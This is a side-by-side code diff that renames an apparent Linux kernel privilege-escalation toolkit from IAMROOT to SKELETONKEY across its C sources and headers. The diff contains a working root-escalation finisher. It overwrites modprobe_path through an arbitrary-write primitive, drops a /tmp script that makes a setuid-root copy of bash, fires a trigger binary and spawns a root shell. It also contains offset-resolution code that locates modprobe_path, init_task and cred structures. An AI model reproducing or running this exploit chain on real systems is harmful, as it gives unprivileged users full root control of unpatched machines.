" sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n" " sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n"
@@ -54,26 +54,26 @@ void iamroot_finisher_print_offset_help(const char *module_name)
module_name, module_name); module_name, module_name);
} }
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off, int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
iamroot_arb_write_fn arb_write, skeletonkey_arb_write_fn arb_write,
void *arb_ctx, void *arb_ctx,
bool spawn_shell) bool spawn_shell)
{ {
if (!iamroot_offsets_have_modprobe_path(off)) { if (!skeletonkey_offsets_have_modprobe_path(off)) {
iamroot_finisher_print_offset_help("module"); skeletonkey_finisher_print_offset_help("module");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (!arb_write) { if (!arb_write) {
fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n"); fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
/* Per-pid working paths so concurrent runs don't collide. */ /* Per-pid working paths so concurrent runs don't collide. */
pid_t pid = getpid(); pid_t pid = getpid();
char mp_path[64], trig_path[64], pwn_path[64]; char mp_path[64], trig_path[64], pwn_path[64];
snprintf(mp_path, sizeof mp_path, "/tmp/iamroot-mp-%d.sh", (int)pid); snprintf(mp_path, sizeof mp_path, "/tmp/skeletonkey-mp-%d.sh", (int)pid);
snprintf(trig_path, sizeof trig_path, "/tmp/iamroot-trig-%d", (int)pid); snprintf(trig_path, sizeof trig_path, "/tmp/skeletonkey-trig-%d", (int)pid);
snprintf(pwn_path, sizeof pwn_path, "/tmp/iamroot-pwn-%d", (int)pid); snprintf(pwn_path, sizeof pwn_path, "/tmp/skeletonkey-pwn-%d", (int)pid);
/* Payload: chmod /bin/bash setuid root + drop a sentinel so we /* Payload: chmod /bin/bash setuid root + drop a sentinel so we
* know it ran. Bash 4+ refuses to use its own setuid bit by * know it ran. Bash 4+ refuses to use its own setuid bit by
@@ -81,14 +81,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
char payload[1024]; char payload[1024];
snprintf(payload, sizeof payload, snprintf(payload, sizeof payload,
"#!/bin/sh\n" "#!/bin/sh\n"
"# IAMROOT modprobe_path payload (runs as init/root via call_modprobe)\n" "# SKELETONKEY modprobe_path payload (runs as init/root via call_modprobe)\n"
"cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n" "cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
"echo IAMROOT_FINISHER_RAN > %s 2>/dev/null\n", "echo SKELETONKEY_FINISHER_RAN > %s 2>/dev/null\n",
pwn_path, pwn_path, pwn_path); pwn_path, pwn_path, pwn_path);
if (write_file(mp_path, payload, 0755) < 0) { if (write_file(mp_path, payload, 0755) < 0) {
fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno)); fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
/* Unknown-format trigger: anything that fails the standard exec /* Unknown-format trigger: anything that fails the standard exec
@@ -97,7 +97,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
if (write_file(trig_path, "\x00", 0755) < 0) { if (write_file(trig_path, "\x00", 0755) < 0) {
fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno)); fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
unlink(mp_path); unlink(mp_path);
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
/* Build the kernel-side write payload: a NUL-terminated path to /* Build the kernel-side write payload: a NUL-terminated path to
@@ -114,7 +114,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
fprintf(stderr, "[-] finisher: arb_write failed\n"); fprintf(stderr, "[-] finisher: arb_write failed\n");
unlink(mp_path); unlink(mp_path);
unlink(trig_path); unlink(trig_path);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
/* Fire the trigger by exec'ing the unknown binary. fork() so the /* Fire the trigger by exec'ing the unknown binary. fork() so the
@@ -129,7 +129,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
waitpid(cpid, &st, 0); waitpid(cpid, &st, 0);
} else { } else {
fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno)); fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
/* Modprobe runs asynchronously — give the kernel up to 3 s. */ /* Modprobe runs asynchronously — give the kernel up to 3 s. */
@@ -146,14 +146,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n"); fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
unlink(mp_path); unlink(mp_path);
unlink(trig_path); unlink(trig_path);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
have_setuid: have_setuid:
if (!spawn_shell) { if (!spawn_shell) {
fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path); fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
unlink(mp_path); unlink(mp_path);
unlink(trig_path); unlink(trig_path);
return IAMROOT_EXPLOIT_OK; return SKELETONKEY_EXPLOIT_OK;
} }
fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path); fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
fflush(stderr); fflush(stderr);
@@ -161,11 +161,11 @@ have_setuid:
execve(pwn_path, argv, NULL); execve(pwn_path, argv, NULL);
/* Only reached on execve failure. */ /* Only reached on execve failure. */
fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno)); fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off, int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
iamroot_arb_write_fn arb_write, skeletonkey_arb_write_fn arb_write,
void *arb_ctx, void *arb_ctx,
bool spawn_shell) bool spawn_shell)
{ {
@@ -173,7 +173,7 @@ int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
fprintf(stderr, fprintf(stderr,
"[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n" "[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
" the task list from init_task and find current). Modules with\n" " the task list from init_task and find current). Modules with\n"
" only an arb-write should use iamroot_finisher_modprobe_path()\n" " only an arb-write should use skeletonkey_finisher_modprobe_path()\n"
" instead — same root capability, simpler trigger.\n"); " instead — same root capability, simpler trigger.\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
+19 -19
View File
@@ -1,5 +1,5 @@
/* /*
* IAMROOT — shared finisher helpers for full-chain root pops. * SKELETONKEY — shared finisher helpers for full-chain root pops.
* *
* The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB * The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
* write, slab UAF, etc.). The conversion to root is almost always one * write, slab UAF, etc.). The conversion to root is almost always one
@@ -21,11 +21,11 @@
* Pattern (B) needs a self-cred chase + multiple writes. * Pattern (B) needs a self-cred chase + multiple writes.
* *
* Modules provide their own arb-write primitive via the * Modules provide their own arb-write primitive via the
* iamroot_arb_write_fn callback; this file wraps the rest. * skeletonkey_arb_write_fn callback; this file wraps the rest.
*/ */
#ifndef IAMROOT_FINISHER_H #ifndef SKELETONKEY_FINISHER_H
#define IAMROOT_FINISHER_H #define SKELETONKEY_FINISHER_H
#include <stdint.h> #include <stdint.h>
#include <stddef.h> #include <stddef.h>
@@ -35,7 +35,7 @@
/* Arb-write primitive: write `len` bytes from `buf` to kernel VA /* Arb-write primitive: write `len` bytes from `buf` to kernel VA
* `kaddr`. Module-specific implementation. Returns 0 on success, * `kaddr`. Module-specific implementation. Returns 0 on success,
* negative on failure. `ctx` is opaque module state. */ * negative on failure. `ctx` is opaque module state. */
typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr, typedef int (*skeletonkey_arb_write_fn)(uintptr_t kaddr,
const void *buf, size_t len, const void *buf, size_t len,
void *ctx); void *ctx);
@@ -43,22 +43,22 @@ typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
* groomed slab THEN call the trigger. The trigger is a separate fn * groomed slab THEN call the trigger. The trigger is a separate fn
* because some modules need to re-spray before each write. NULL is * because some modules need to re-spray before each write. NULL is
* acceptable if the arb-write is self-contained. */ * acceptable if the arb-write is self-contained. */
typedef int (*iamroot_fire_trigger_fn)(void *ctx); typedef int (*skeletonkey_fire_trigger_fn)(void *ctx);
/* Pattern A: modprobe_path overwrite + execve trigger. Caller has /* Pattern A: modprobe_path overwrite + execve trigger. Caller has
* already populated `off->modprobe_path`. Implementation: * already populated `off->modprobe_path`. Implementation:
* 1. Write payload script to /tmp/iamroot-mp-<pid> * 1. Write payload script to /tmp/skeletonkey-mp-<pid>
* 2. arb_write(off->modprobe_path, "/tmp/iamroot-mp-<pid>", 24) * 2. arb_write(off->modprobe_path, "/tmp/skeletonkey-mp-<pid>", 24)
* 3. Write unknown-format file to /tmp/iamroot-trig-<pid> * 3. Write unknown-format file to /tmp/skeletonkey-trig-<pid>
* 4. chmod +x both, execve() the trigger → kernel-call-modprobe * 4. chmod +x both, execve() the trigger → kernel-call-modprobe
* → our payload runs as root → payload writes /tmp/iamroot-pwn * → our payload runs as root → payload writes /tmp/skeletonkey-pwn
* and/or copies /bin/bash to /tmp with setuid root * and/or copies /bin/bash to /tmp with setuid root
* 5. Wait for sentinel file, exec'd the setuid-bash → root shell * 5. Wait for sentinel file, exec'd the setuid-bash → root shell
* *
* Returns IAMROOT_EXPLOIT_OK if we got a root shell back (verified * Returns SKELETONKEY_EXPLOIT_OK if we got a root shell back (verified
* via geteuid() == 0), IAMROOT_EXPLOIT_FAIL otherwise. */ * via geteuid() == 0), SKELETONKEY_EXPLOIT_FAIL otherwise. */
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off, int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
iamroot_arb_write_fn arb_write, skeletonkey_arb_write_fn arb_write,
void *arb_ctx, void *arb_ctx,
bool spawn_shell); bool spawn_shell);
@@ -67,14 +67,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
* 1. Walk task linked list from init_task to find self by pid * 1. Walk task linked list from init_task to find self by pid
* (this requires arb-READ too — not supplied here; B-pattern * (this requires arb-READ too — not supplied here; B-pattern
* modules need to provide their own variant) * modules need to provide their own variant)
* For now this is a STUB returning IAMROOT_EXPLOIT_FAIL with a * For now this is a STUB returning SKELETONKEY_EXPLOIT_FAIL with a
* helpful error. */ * helpful error. */
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off, int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
iamroot_arb_write_fn arb_write, skeletonkey_arb_write_fn arb_write,
void *arb_ctx, void *arb_ctx,
bool spawn_shell); bool spawn_shell);
/* Diagnostic: tell the operator how to populate offsets manually. */ /* Diagnostic: tell the operator how to populate offsets manually. */
void iamroot_finisher_print_offset_help(const char *module_name); void skeletonkey_finisher_print_offset_help(const char *module_name);
#endif /* IAMROOT_FINISHER_H */ #endif /* SKELETONKEY_FINISHER_H */
+2 -2
View File
@@ -1,5 +1,5 @@
/* /*
* IAMROOT — kernel_range implementation * SKELETONKEY — kernel_range implementation
*/ */
#include "kernel_range.h" #include "kernel_range.h"
@@ -19,7 +19,7 @@ bool kernel_version_current(struct kernel_version *out)
if (uname(&u) < 0) return false; if (uname(&u) < 0) return false;
/* Stash release string for callers that want to print it. We hold /* Stash release string for callers that want to print it. We hold
* a single static buffer; not threadsafe but iamroot is single- * a single static buffer; not threadsafe but skeletonkey is single-
* threaded today. */ * threaded today. */
snprintf(g_release_buf, sizeof(g_release_buf), "%s", u.release); snprintf(g_release_buf, sizeof(g_release_buf), "%s", u.release);
out->release = g_release_buf; out->release = g_release_buf;
+4 -4
View File
@@ -1,5 +1,5 @@
/* /*
* IAMROOT — kernel version range matching * SKELETONKEY — kernel version range matching
* *
* Every CVE module needs to answer "is the host kernel in the affected * Every CVE module needs to answer "is the host kernel in the affected
* range?". This file centralizes that. * range?". This file centralizes that.
@@ -17,8 +17,8 @@
* patch version is at or above the threshold. * patch version is at or above the threshold.
*/ */
#ifndef IAMROOT_KERNEL_RANGE_H #ifndef SKELETONKEY_KERNEL_RANGE_H
#define IAMROOT_KERNEL_RANGE_H #define SKELETONKEY_KERNEL_RANGE_H
#include <stdbool.h> #include <stdbool.h>
#include <stddef.h> #include <stddef.h>
@@ -56,4 +56,4 @@ bool kernel_version_current(struct kernel_version *out);
bool kernel_range_is_patched(const struct kernel_range *r, bool kernel_range_is_patched(const struct kernel_range *r,
const struct kernel_version *v); const struct kernel_version *v);
#endif /* IAMROOT_KERNEL_RANGE_H */ #endif /* SKELETONKEY_KERNEL_RANGE_H */
+30 -30
View File
@@ -1,49 +1,49 @@
/* /*
* IAMROOT — core module interface * SKELETONKEY — core module interface
* *
* Every CVE module exports one or more `struct iamroot_module` entries * Every CVE module exports one or more `struct skeletonkey_module` entries
* via a registry function. The top-level dispatcher (iamroot.c) walks * via a registry function. The top-level dispatcher (skeletonkey.c) walks
* the global registry to implement --scan, --exploit, --mitigate, etc. * the global registry to implement --scan, --exploit, --mitigate, etc.
* *
* This is intentionally a small interface. Modules carry the * This is intentionally a small interface. Modules carry the
* complexity; the dispatcher just routes. * complexity; the dispatcher just routes.
*/ */
#ifndef IAMROOT_MODULE_H #ifndef SKELETONKEY_MODULE_H
#define IAMROOT_MODULE_H #define SKELETONKEY_MODULE_H
#include <stddef.h> #include <stddef.h>
#include <stdbool.h> #include <stdbool.h>
/* Standard result codes returned by detect()/exploit()/mitigate(). /* Standard result codes returned by detect()/exploit()/mitigate().
* *
* These map to top-level exit codes when iamroot is invoked with a * These map to top-level exit codes when skeletonkey is invoked with a
* single-module operation: * single-module operation:
* *
* IAMROOT_OK exit 0 detect: not vulnerable / clean * SKELETONKEY_OK exit 0 detect: not vulnerable / clean
* IAMROOT_VULNERABLE exit 2 detect: confirmed vulnerable * SKELETONKEY_VULNERABLE exit 2 detect: confirmed vulnerable
* IAMROOT_PRECOND_FAIL exit 4 detect: preconditions missing * SKELETONKEY_PRECOND_FAIL exit 4 detect: preconditions missing
* IAMROOT_TEST_ERROR exit 1 detect/exploit: error * SKELETONKEY_TEST_ERROR exit 1 detect/exploit: error
* IAMROOT_EXPLOIT_OK exit 5 exploit: succeeded (root achieved) * SKELETONKEY_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
* IAMROOT_EXPLOIT_FAIL exit 3 exploit: attempted but did not land * SKELETONKEY_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
* *
* Implementation note: copy_fail_family's df_result_t shares these * Implementation note: copy_fail_family's df_result_t shares these
* numeric values intentionally so the family code can return its * numeric values intentionally so the family code can return its
* existing constants without translation. * existing constants without translation.
*/ */
typedef enum { typedef enum {
IAMROOT_OK = 0, SKELETONKEY_OK = 0,
IAMROOT_TEST_ERROR = 1, SKELETONKEY_TEST_ERROR = 1,
IAMROOT_VULNERABLE = 2, SKELETONKEY_VULNERABLE = 2,
IAMROOT_EXPLOIT_FAIL = 3, SKELETONKEY_EXPLOIT_FAIL = 3,
IAMROOT_PRECOND_FAIL = 4, SKELETONKEY_PRECOND_FAIL = 4,
IAMROOT_EXPLOIT_OK = 5, SKELETONKEY_EXPLOIT_OK = 5,
} iamroot_result_t; } skeletonkey_result_t;
/* Per-invocation context passed to module callbacks. Lightweight for /* Per-invocation context passed to module callbacks. Lightweight for
* now; will grow as modules need shared state (host fingerprint, * now; will grow as modules need shared state (host fingerprint,
* leaked kbase, etc.). */ * leaked kbase, etc.). */
struct iamroot_ctx { struct skeletonkey_ctx {
bool no_color; /* --no-color */ bool no_color; /* --no-color */
bool json; /* --json (machine-readable output) */ bool json; /* --json (machine-readable output) */
bool active_probe; /* --active (do invasive probes in detect) */ bool active_probe; /* --active (do invasive probes in detect) */
@@ -52,8 +52,8 @@ struct iamroot_ctx {
bool full_chain; /* --full-chain (attempt root-pop after primitive) */ bool full_chain; /* --full-chain (attempt root-pop after primitive) */
}; };
struct iamroot_module { struct skeletonkey_module {
/* Short id used on the command line: `iamroot --exploit copy_fail`. */ /* Short id used on the command line: `skeletonkey --exploit copy_fail`. */
const char *name; const char *name;
/* CVE identifier (or "VARIANT" if no CVE assigned). */ /* CVE identifier (or "VARIANT" if no CVE assigned). */
@@ -71,20 +71,20 @@ struct iamroot_module {
const char *kernel_range; const char *kernel_range;
/* Probe the host. Should be side-effect-free unless ctx->active_probe /* Probe the host. Should be side-effect-free unless ctx->active_probe
* is true. Return IAMROOT_VULNERABLE if confirmed, * is true. Return SKELETONKEY_VULNERABLE if confirmed,
* IAMROOT_PRECOND_FAIL if not applicable here, IAMROOT_OK if patched * SKELETONKEY_PRECOND_FAIL if not applicable here, SKELETONKEY_OK if patched
* or otherwise immune, IAMROOT_TEST_ERROR on probe error. */ * or otherwise immune, SKELETONKEY_TEST_ERROR on probe error. */
iamroot_result_t (*detect)(const struct iamroot_ctx *ctx); skeletonkey_result_t (*detect)(const struct skeletonkey_ctx *ctx);
/* Run the exploit. Caller has already passed the --i-know gate. */ /* Run the exploit. Caller has already passed the --i-know gate. */
iamroot_result_t (*exploit)(const struct iamroot_ctx *ctx); skeletonkey_result_t (*exploit)(const struct skeletonkey_ctx *ctx);
/* Apply a temporary mitigation. NULL if none offered. */ /* Apply a temporary mitigation. NULL if none offered. */
iamroot_result_t (*mitigate)(const struct iamroot_ctx *ctx); skeletonkey_result_t (*mitigate)(const struct skeletonkey_ctx *ctx);
/* Undo --exploit (e.g. evict from page cache) or --mitigate side /* Undo --exploit (e.g. evict from page cache) or --mitigate side
* effects. NULL if no cleanup applies. */ * effects. NULL if no cleanup applies. */
iamroot_result_t (*cleanup)(const struct iamroot_ctx *ctx); skeletonkey_result_t (*cleanup)(const struct skeletonkey_ctx *ctx);
/* Detection rule corpus — embedded so the binary is self- /* Detection rule corpus — embedded so the binary is self-
* contained. Each may be NULL if this module ships no rules for * contained. Each may be NULL if this module ships no rules for
@@ -96,4 +96,4 @@ struct iamroot_module {
const char *detect_falco; /* falco rules content */ const char *detect_falco; /* falco rules content */
}; };
#endif /* IAMROOT_MODULE_H */ #endif /* SKELETONKEY_MODULE_H */
+22 -22
View File
@@ -1,5 +1,5 @@
/* /*
* IAMROOT — kernel offset resolution * SKELETONKEY — kernel offset resolution
* *
* See offsets.h for the four-source chain (env → kallsyms → System.map * See offsets.h for the four-source chain (env → kallsyms → System.map
* → embedded table). This implementation is deliberately small and * → embedded table). This implementation is deliberately small and
@@ -69,7 +69,7 @@ static const struct table_entry kernel_table[] = {
#define DEFAULT_CRED_EFF_OFFSET 0x740 #define DEFAULT_CRED_EFF_OFFSET 0x740
#define DEFAULT_CRED_UID_OFFSET 0x4 #define DEFAULT_CRED_UID_OFFSET 0x4
const char *iamroot_offset_source_name(enum iamroot_offset_source src) const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src)
{ {
switch (src) { switch (src) {
case OFFSETS_NONE: return "none"; case OFFSETS_NONE: return "none";
@@ -117,42 +117,42 @@ static void read_distro(char *out, size_t sz)
/* ------------------------------------------------------------------ /* ------------------------------------------------------------------
* Source 1: environment variables * Source 1: environment variables
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
static void apply_env(struct iamroot_kernel_offsets *o) static void apply_env(struct skeletonkey_kernel_offsets *o)
{ {
const char *v; const char *v;
uintptr_t a; uintptr_t a;
if ((v = getenv("IAMROOT_KBASE")) && parse_addr(v, &a)) { if ((v = getenv("SKELETONKEY_KBASE")) && parse_addr(v, &a)) {
if (!o->kbase) o->kbase = a; if (!o->kbase) o->kbase = a;
} }
if ((v = getenv("IAMROOT_MODPROBE_PATH")) && parse_addr(v, &a)) { if ((v = getenv("SKELETONKEY_MODPROBE_PATH")) && parse_addr(v, &a)) {
if (!o->modprobe_path) { if (!o->modprobe_path) {
o->modprobe_path = a; o->modprobe_path = a;
o->source_modprobe = OFFSETS_FROM_ENV; o->source_modprobe = OFFSETS_FROM_ENV;
} }
} }
if ((v = getenv("IAMROOT_POWEROFF_CMD")) && parse_addr(v, &a)) { if ((v = getenv("SKELETONKEY_POWEROFF_CMD")) && parse_addr(v, &a)) {
if (!o->poweroff_cmd) o->poweroff_cmd = a; if (!o->poweroff_cmd) o->poweroff_cmd = a;
} }
if ((v = getenv("IAMROOT_INIT_TASK")) && parse_addr(v, &a)) { if ((v = getenv("SKELETONKEY_INIT_TASK")) && parse_addr(v, &a)) {
if (!o->init_task) { if (!o->init_task) {
o->init_task = a; o->init_task = a;
o->source_init_task = OFFSETS_FROM_ENV; o->source_init_task = OFFSETS_FROM_ENV;
} }
} }
if ((v = getenv("IAMROOT_INIT_CRED")) && parse_addr(v, &a)) { if ((v = getenv("SKELETONKEY_INIT_CRED")) && parse_addr(v, &a)) {
if (!o->init_cred) o->init_cred = a; if (!o->init_cred) o->init_cred = a;
} }
if ((v = getenv("IAMROOT_CRED_OFFSET_REAL")) && parse_addr(v, &a)) { if ((v = getenv("SKELETONKEY_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
if (!o->cred_offset_real) { if (!o->cred_offset_real) {
o->cred_offset_real = (uint32_t)a; o->cred_offset_real = (uint32_t)a;
o->source_cred = OFFSETS_FROM_ENV; o->source_cred = OFFSETS_FROM_ENV;
} }
} }
if ((v = getenv("IAMROOT_CRED_OFFSET_EFF")) && parse_addr(v, &a)) { if ((v = getenv("SKELETONKEY_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a; if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a;
} }
if ((v = getenv("IAMROOT_UID_OFFSET")) && parse_addr(v, &a)) { if ((v = getenv("SKELETONKEY_UID_OFFSET")) && parse_addr(v, &a)) {
if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a; if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a;
} }
} }
@@ -162,8 +162,8 @@ static void apply_env(struct iamroot_kernel_offsets *o)
* the same "ADDR TYPE NAME" format). * the same "ADDR TYPE NAME" format).
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
static int parse_symfile(const char *path, static int parse_symfile(const char *path,
struct iamroot_kernel_offsets *o, struct skeletonkey_kernel_offsets *o,
enum iamroot_offset_source tag) enum skeletonkey_offset_source tag)
{ {
FILE *f = fopen(path, "r"); FILE *f = fopen(path, "r");
if (!f) return 0; if (!f) return 0;
@@ -225,7 +225,7 @@ static int parse_symfile(const char *path,
* Source 4: embedded table — relative offsets, applied on top of kbase * Source 4: embedded table — relative offsets, applied on top of kbase
* if we already have one. * if we already have one.
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
static void apply_table(struct iamroot_kernel_offsets *o) static void apply_table(struct skeletonkey_kernel_offsets *o)
{ {
if (!o->kernel_release[0]) return; if (!o->kernel_release[0]) return;
@@ -268,7 +268,7 @@ static void apply_table(struct iamroot_kernel_offsets *o)
/* ------------------------------------------------------------------ /* ------------------------------------------------------------------
* Top-level resolve() * Top-level resolve()
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out) int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out)
{ {
memset(out, 0, sizeof *out); memset(out, 0, sizeof *out);
@@ -313,7 +313,7 @@ int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
return critical; return critical;
} }
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off, void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
uintptr_t leaked_kbase) uintptr_t leaked_kbase)
{ {
if (!leaked_kbase) return; if (!leaked_kbase) return;
@@ -322,18 +322,18 @@ void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
apply_table(off); apply_table(off);
} }
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off) bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off)
{ {
return off && off->modprobe_path != 0; return off && off->modprobe_path != 0;
} }
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off) bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off)
{ {
return off && off->init_task != 0 && off->cred_offset_real != 0 return off && off->init_task != 0 && off->cred_offset_real != 0
&& off->cred_uid_offset != 0; && off->cred_uid_offset != 0;
} }
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off) void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off)
{ {
fprintf(stderr, "[i] offsets: release=%s distro=%s\n", fprintf(stderr, "[i] offsets: release=%s distro=%s\n",
off->kernel_release[0] ? off->kernel_release : "?", off->kernel_release[0] ? off->kernel_release : "?",
@@ -341,10 +341,10 @@ void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n", fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n",
(unsigned long)off->kbase, (unsigned long)off->kbase,
(unsigned long)off->modprobe_path, (unsigned long)off->modprobe_path,
iamroot_offset_source_name(off->source_modprobe)); skeletonkey_offset_source_name(off->source_modprobe));
fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n", fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n",
(unsigned long)off->init_task, (unsigned long)off->init_task,
iamroot_offset_source_name(off->source_init_task), skeletonkey_offset_source_name(off->source_init_task),
off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset, off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset,
iamroot_offset_source_name(off->source_cred)); skeletonkey_offset_source_name(off->source_cred));
} }
+17 -17
View File
@@ -1,5 +1,5 @@
/* /*
* IAMROOT — kernel offset resolution * SKELETONKEY — kernel offset resolution
* *
* The 🟡 PRIMITIVE modules each have a trigger that lands a primitive * The 🟡 PRIMITIVE modules each have a trigger that lands a primitive
* (heap-OOB write, UAF, etc.). Converting that to root requires * (heap-OOB write, UAF, etc.). Converting that to root requires
@@ -10,7 +10,7 @@
* Those addresses vary per kernel build. This file resolves them at * Those addresses vary per kernel build. This file resolves them at
* runtime via a four-source chain: * runtime via a four-source chain:
* *
* 1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, ...) * 1. env vars (SKELETONKEY_MODPROBE_PATH, SKELETONKEY_INIT_TASK, ...)
* 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root) * 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root)
* 3. /boot/System.map-$(uname -r) (world-readable on some distros) * 3. /boot/System.map-$(uname -r) (world-readable on some distros)
* 4. Embedded table keyed by `uname -r` glob (entries are * 4. Embedded table keyed by `uname -r` glob (entries are
@@ -22,14 +22,14 @@
* pointing the operator at the manual workflow. * pointing the operator at the manual workflow.
*/ */
#ifndef IAMROOT_OFFSETS_H #ifndef SKELETONKEY_OFFSETS_H
#define IAMROOT_OFFSETS_H #define SKELETONKEY_OFFSETS_H
#include <stdint.h> #include <stdint.h>
#include <stdbool.h> #include <stdbool.h>
#include <stddef.h> #include <stddef.h>
enum iamroot_offset_source { enum skeletonkey_offset_source {
OFFSETS_NONE = 0, OFFSETS_NONE = 0,
OFFSETS_FROM_ENV = 1, OFFSETS_FROM_ENV = 1,
OFFSETS_FROM_KALLSYMS = 2, OFFSETS_FROM_KALLSYMS = 2,
@@ -37,13 +37,13 @@ enum iamroot_offset_source {
OFFSETS_FROM_TABLE = 4, OFFSETS_FROM_TABLE = 4,
}; };
struct iamroot_kernel_offsets { struct skeletonkey_kernel_offsets {
/* Host fingerprint */ /* Host fingerprint */
char kernel_release[128]; /* uname -r */ char kernel_release[128]; /* uname -r */
char distro[64]; /* parsed from /etc/os-release ID= */ char distro[64]; /* parsed from /etc/os-release ID= */
/* Kernel base — needed when offsets are relative-to-_text. /* Kernel base — needed when offsets are relative-to-_text.
* Set by iamroot_offsets_apply_kbase_leak() after EntryBleed runs. */ * Set by skeletonkey_offsets_apply_kbase_leak() after EntryBleed runs. */
uintptr_t kbase; uintptr_t kbase;
/* Symbol virtual addresses (final, post-KASLR-resolution). */ /* Symbol virtual addresses (final, post-KASLR-resolution). */
@@ -58,9 +58,9 @@ struct iamroot_kernel_offsets {
uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */ uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */
/* Where did each field come from. */ /* Where did each field come from. */
enum iamroot_offset_source source_modprobe; enum skeletonkey_offset_source source_modprobe;
enum iamroot_offset_source source_init_task; enum skeletonkey_offset_source source_init_task;
